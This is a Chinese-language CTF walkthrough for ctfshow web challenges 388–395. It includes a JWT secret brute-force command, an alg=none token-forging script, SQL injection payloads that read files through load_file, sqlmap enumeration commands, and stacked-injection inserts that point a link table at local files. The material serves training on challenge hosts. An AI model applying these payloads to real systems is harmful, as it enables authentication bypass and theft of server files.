ctfshow黑盒测试后半部分

web388

不用在意,我们用已知条件解出来了已知的数据

这个路径算是已知条件但是dirsearch扫不出来

访问后看到是一个编辑器

存在文件上传页面,我们可以尝试上传一句话木马进去

这个路径不用多说一直都是在这

web389

多了一个jwt

直接爆破

复制代码
python3 jwt_tool.py eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpc3MiOiJhZG1pbiIsImlhdCI6MTc3NTU2MTY4MiwiZXhwIjoxNzc1NTY4ODgyLCJuYmYiOjE3NzU1NjE2ODIsInN1YiI6InVzZXIiLCJqdGkiOiJhODZlZmQ3YWJjNjFkYTgyN2FhZmJhOWI1OTk5MmFiZSJ9.nwBTnSuYR-EtW1WMVL7FvslyecM_mxBQoD1J9_mOP8w -C -d /usr/share/wordlists/rockyou.txt

之后都是一样的步骤

看到这个页面就是代表成功写入了

成功获取flag

web390

还是需要jwt伪造但是这次的密钥爆不出来了

换个方法,把alg改为none,sub改为admin,然后重新编码token,如果后端没有对算法进行验证,那么就可以成功绕过了

用python脚本实现,记得要先用自己jwt解码的payload复制替换dict,然后更改user为admin

复制代码
import jwt

payload = {
  "iss": "admin",
  "iat": 1775626036,
  "exp": 1775633236,
  "nbf": 1775626036,
  "sub": "admin",
  "jti": "f33fe6c9fb6a48be6192e55daabd2cdc"
}

headers = {
    "alg": "none",
    "typ": "JWT"
}

jwt_token = jwt.encode(payload, key='', headers=headers, algorithm="none")

print(jwt_token)

成功

web391

点击灯泡往事

经测试存在字符型注入,为单引号,且#被过滤

也可以按照上一题的思路来,但是我觉得没必要,这个算是非预期

复制代码
-1' union select 1,2,substr((select load_file('/var/www/html/alsckdfy/check.php')),1,255)-- -

查看源代码可以看到flag

web392

复制代码
search.php?title=-1%27+union+select+1%2C2%2Csubstr%28%28select+load_file%28%27%2Fflag%27%29%29%2C1%2C255%29--+-

还是跟上一题一样的

但是flag在的位置变了在根目录下,也是可以JWT伪造的,一样的

web393

最底下有一个搜索引擎

随便点一个看到url

修改网页id值,又显示其他页面

因此可以判断这里存储的是网页链接,通过传入的id值查询数据库中的url并进行访问

复制代码
python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET --dbs --batch
python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow --tables --batch
python sqlmap.py -u http://4a581051-6c96-4489-b2d2-f76b8662be96.challenge.ctf.show/search.php?title=1 --method=GET -D ctfshow -T link --columns --batch

接着利用堆叠注入插入数据

复制代码
search.php?title=1';insert into link(id, name, url) values(11,'a','file:///flag');
最后访问/link.php?id=11即可
#  ': 关键的闭合符号。它告诉数据库:原本的查询到此结束。
#;: 结束符号。在支持堆叠查询的数据库(如 MySQL、PostgreSQL)中,; 
#允许你在第一条语句后面紧跟第二条完全不同的 SQL 语句
#insert into link(...): 攻击者不再只是"查询"数据,而是尝试向数据库的 link 表中插入一行新数据。
#values(11,'a',...): 设置 ID 为 11,名称为 'a'

还是根目录啊,问我怎么知道的,jwt伪造也能做,查看根目录下的

web394

复制代码
search.php?title=1';insert into link(id, name, url)
values(10,'a',0x66696c653a2f2f2f7661722f7777772f68746d6c2f616c73636b6466792f636865636b2e706870);

跟上题方法一样,但是这次过滤了一些字符,用16进制绕过即可

记得在前面加个0x表示16进制

这次不在根目录/flag了,而是在网站目录的alsckdfy/check.php里面

访问/link.php?id=10

复制代码
<!--?php
  
#error_reporting(0);
require_once "config.php";
$u=$_POST['u'];
$p=$_POST['p'];
$c = $_POST['code'];
if($c!=='justshow'){
	die('授权码错误');
}
$flag='ctfshow{d8fb3db8-3255-4a0f-add5-04ba423b86eb}';
if(isset($u) && isset($p)){
	$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
	if(mysqli_connect_errno()){
	 	die(json_encode(array(mysqli_connect_error())));
	}
	$conn--->

web395

解法跟上一题一样

复制代码
<!--?php
  
#error_reporting(0);
require_once "config.php";
$u=$_POST['u'];
$p=$_POST['p'];
$c = $_POST['code'];
if($c!=='justsoso'){
	die('授权码错误');
}
$flag='ctfshow{53d2a7ef-17e0-4efd-a035-b2c110802976}';
if(isset($u) && isset($p)){
	$conn = new mysqli($dbhost,$dbuser,$dbpwd,$dbname);
	if(mysqli_connect_errno()){
	 	die(json_encode(array(mysqli_connect_error())));
	}
	$conn--->
相关推荐
小鹿软件办公2 小时前
谷歌 Chrome 终于推出垂直标签页与更智能的阅读模式
前端·chrome
薛定猫AI2 小时前
【技术干货】DeepSeek 新模型实测:多模态 Web 生成能力与工程落地评估
前端
Reisentyan2 小时前
[vue3]HTML Learn Data Day 9
前端·vue.js·html
小江的记录本2 小时前
【JEECG Boot】 JEECG Boot 数据字典管理——六大核心功能(内含:《JEECG Boot 数据字典开发速查清单》)
java·前端·数据库·spring boot·后端·spring·mybatis
小江的记录本2 小时前
【JEECG Boot】 JEECG Boot——Online表单 系统性知识体系全解
java·前端·spring boot·后端·spring·低代码·mybatis
John_ToDebug2 小时前
Chromium 页面类型与 IPC 通信机制深度解析
前端·c++·chrome
Fanfffff7202 小时前
前端进阶:从请求竞态到并发控制(系统学习笔记)
前端·笔记·学习
大、男人2 小时前
edge浏览器打开baidu.com很慢,我是如何解决的
前端·edge
吴声子夜歌2 小时前
ES6——函数的扩展详解
前端·ecmascript·es6